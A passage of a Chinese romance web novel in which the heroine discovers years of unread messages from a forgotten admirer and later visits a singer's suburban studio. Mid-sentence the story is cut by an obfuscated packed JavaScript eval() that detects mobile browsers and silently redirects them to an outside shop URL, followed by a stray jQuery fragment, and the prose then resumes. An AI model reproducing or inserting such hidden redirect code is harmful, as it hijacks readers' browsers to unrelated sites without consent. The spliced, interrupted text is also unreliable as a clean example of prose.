临近傍晚，灯笼次第亮起，小院门口聚拢的人群才渐渐散去。
叶祈眠坐在台阶上，半扎的马尾松散，相机已经换了两块备用电池，小推车里的伞也售空。翻着收款记录，一双手伸到她脑后，取下她快滑落的皮筋，将散落的长发拢起，用皮筋重新挽好。
叶祈眠讶然回头，额角的碎发被男人的指腹拂过，挽到耳后。陆临策看看手表，朝她伸出手，“回去了。”
最终的收益结算，他们组第一。
荀易大吃一惊，“这天气你们都卖完了？”
叶祈眠双手一摊，如果有尾巴，大概已经摇晃成螺旋桨上天了，“这就是实力。”食指点点额头，“靠脑子赚钱的。”实则有三分之一的收益，来源于陆临策出卖美色。
第一期拍完，节目还要等一个月才能播，叶祈眠没有其他工作，又回到在家躺平的生活状态，但《奇幻游记》第一期的路透和分享却早已传播开。
还在国外时，她对国内的CP几乎都能嗑两口，《奇幻游记》第一期录下来，近距离接触到真人，和同人文里的人设相去甚远甚至完全相悖，顿时就没了兴致。她一下一下刷着首页，百无聊赖。
闺蜜发来一条消息。
【我企鹅号被冻结了，帮我助力解一下】
……什么东西？
叶祈眠在沙发上翻了个身，从应用商店里搜索软件。自从出国后，她的企鹅号再也没登上去过。国外不用这个社交软件，回国后大家都流行微信交流。好在她所有的社交软件都用的同一套密码，登陆进去并不费劲。
网速不太好，首页一卡一卡地弹出对话框，闺蜜的求验证消息先弹出来，她点进去先做了验证，退出时看到一整页的红色未读气泡。
叶祈眠高中很爱交友，属于谁都能聊两句，企鹅号里加了一帮人，备注了的没备注的掺杂各半。最早的未读聊天能追溯到她刚出国那个月，不过那些朋友的消息在半年后渐渐都沉寂了，排在前面一个没备注的黑色头像就尤其突出。
头像的右上角，红色未读气泡显示99+，最近的一条未读消息来自半个多月前。
【练习了很久的开场白，见到你的时候都忘了，真糟糕】
是谁？
【讨厌人多时的空气，但想要和你站在一起】
【听说你解约了，会回来吗？】
【他们说我很好看，有很多人喜欢。如果我在电视上，你会不会认出我？你也会喜欢吗？】
【告别场的舞台直拍很好看】
【学会反黑了，不许有人骂你】
【好像瘦了】
【你会听国内的歌吗？】
【出道真好，可以看见很多你的同款】
【买了你代言的香水，国内买不到，找了代购，好麻烦。但买了好多，想让你当第一】
【考上了】
【出道了，很漂亮，我在电脑后面跟着你一起笑。看到镜子了，好傻的样子】
【想重新上学，想和你有很多东西可以聊，在准备考试，但是好难】
【训练很辛苦吗？】
【会说长句子了】
【我在学怎么给你打投……是叫打投吗？】
【眠眠，很好的名字，每次念完五遍就睡得很好】
【练习了你的名字，医生说我的发音很好】
【在电视上看到你了，原来你出国了，原来你叫叶祈眠，比Mia好听】
【我开始练习说话了。等我会说话了，你就理理我，好不好？】
【他们说我的状态很不好。嗯，找不到你，很不好】
【是因为我不和你说话吗？】
【可不可以理理我】
【他们给我的药加了剂量，不喜欢】
【回我】
【回我】
【回我】
……
无数条的【回我】，发了一年。
【为什么不回我】
再往上翻，是最早的一条，她出国的第一周。
【你又没来】
叶祈眠一条一条翻过去，那些消息，有时候每天都会发，有时候隔几个月发一次。
……是谁？
一股心慌从指尖蔓延到心脏。她翻遍了那个黑色头像，他的空间，他的信息，毫无痕迹。只有在六年之后登陆的账号里，延迟接收的无数条信息。她试图去回忆，可时间长到压缩了从前的记忆，叶祈眠忘记了压缩包的密码。
她认识过这样的人吗？一个不会说话的人。实在毫无印象。
叶祈眠抑制不住地手抖，因为她好像在不知情中遗忘了一个认为她很重要的人。真心被人辜负和辜负别人的真心，她会因后者恐慌。
敲击出了好几个错字，手忙脚乱地删除。她屏着呼吸，才勉强打出两个字——
【你是？】
看起来很冒昧也无情得残忍，但她不知道还应该给对方发什么。解释自己没收到消息的原因？问对方现在还好吗？还是先说句对不起？但是长长的时间里，对方已经理解一切的原因，完成了一场漫长的自我拯救，并早已宽宏大量地原谅了她。
她频频点着那个黑色的头像，状态始终停留在离线模式。
【我是陆临策】
消息提示音不是熟悉又陌生的“滴滴”，而是每天都能听到的微信提醒。
备注为“陆临策老师”的对话框里，跳出来信息。《奇幻游记》第一期录制结束后，几个嘉宾都互换了联系方式。
叶祈眠的心脏猛地跳动一下，在看到消息弹窗时还真以为是那个黑色头像回复她。
【陆老师？有什么事情吗？】
她的消息发过去没多久，对方一通微信电话拨过来。
“我是陆临策。”
“……嗯，陆老师。”她知道，来电有显示，不用再自报一次家门。
对面沉默了几瞬，听筒里只有他的呼吸。沉默到叶祈眠想开口问他到底做什么。
“我有一支MV，缺一个女主角。你有空吗？”传来的声音淡淡，背景里有纸页翻动声，哗啦啦，纸张摩擦得很快。
“真的吗？”叶祈眠翻身坐起来。第一次听说陆临策时她对他还完全不了解，不懂陆临策在这个圈子里究竟代表什么，录完综艺后她才真切意识到，和陆临策合作，是一次被观众看见的机会。她需要机会。
无论出于什么样的追求和目的，人不想红，是不会进这个圈子的。
“那…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912958|213205||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
…”叶祈眠忐忑，“我要和我的经纪人说一声，得问问她。”
陆临策低低应了一声：“已经让武先在联系。今天在录歌，有空可以过来看。”
……
陆临策的录音室并不在泛众娱乐的大楼里，而是在郊区的一座小别墅。平缓的山坡上独立矗立的三层楼，坡前一条蜿蜒的溪流，院子里树叶碧绿，青涩的橘子缀在枝叶间，门前挂着秋千，整片的落地窗将室内映得明亮。
好疗养院的风格。以前陪朋友去心理诊所，那里的心理医生就说这种环境住起来最开阔心境。
客厅很大，一眼望去占据了一楼几乎四分之三的面积，从门口能一眼望到客厅开到最那边的窗户。阳光最充足的地方摆着一只姜黄色的懒人沙发，男人穿着一件白色T恤，腿过分长以至于坐在那上面得蜷着。阳光照着他和画板，没经过妆发修饰的黑发稍长，碎发柔软垂顺在前额，后脑勺稍长一点的部分被扎成一个小揪揪，有几缕半长不短的，在后脑顽强地翘起来，很叛逆不服管教。
“陆老师在画什么？”叶祈眠蹲在他旁边，双手搭在膝盖，歪着脑袋看画板上错落的颜色。
“喜欢的东西。”
“……”好吧，好心流的回答。
“陆老师不是要录音吗？”
“嗯，等这幅画画完。你可以坐下来陪我一会儿。”陆临策偏头看她，阳光下皮肤更是白得透光，原本很冷淡很锐利的长相，此刻透着几分柔软的乖顺。
“好吧。”叶祈眠左右看看。他客厅里能坐的东西很多，懒人沙发，带轮子的小沙发和毛茸茸的小凳子。她就近拖来一只湖蓝色的懒人沙发，盘腿坐上去。手肘支着腿，下巴支着手，眼睛看着画。
红的绿的灰的紫的暖黄的……景色在他笔下先有了神魂，再有骨肉。是青山镇那个小院。红木香攀援，兰草垂叶，水缸里浮着荷叶与莲，紫藤从花架上上坠落，叶祈眠坐在花架下的阶梯上，暖光悠悠。
叶祈眠不解风情，望望他的画，又望望落地窗外热烈的光景，如实道：“陆老师，你画的都不是窗外的景色，为什么要对着窗户画？”
“适合晒太阳。”陆临策将画笔搁置，“我只画喜欢的。”
他站起身，单手插着兜，另一只手在她发顶很轻地碰了碰，“走了，去录音室。”
陆临策的新歌一改之前酸涩的风格，旋律轻松平静了不少。叶祈眠坐在控制台前，一手握着耳机，隔着落地的整扇双层隔音玻璃看向录音间的陆临策。
他平时说话的声音很好听，清越，略带一丝磁性。但说话会明显好听的声音，大多数并不适合唱歌，就像很多知名的配音演员唱歌反倒有股过于板正的别扭，尤其是在唱流行音乐时更为明显。陆临策是个例外，唱歌的嗓音会比说话时更柔和，咬字缱绻到像面对面倾诉，说等候，说想念，说爱，说在你还不知道的时候我就已经是如此喜欢你。
他的眼神明亮，隔着厚重玻璃也没暗淡，含着笑意，专注而愉悦。
陆老师对这首歌这么满意吗？
叶祈眠抓抓脸，在他的视线下脸有些发热，默默将视线移开。
录音室真大。环境真好。空气真香。小茶几底下放着的香水瓶真像她代言的那个。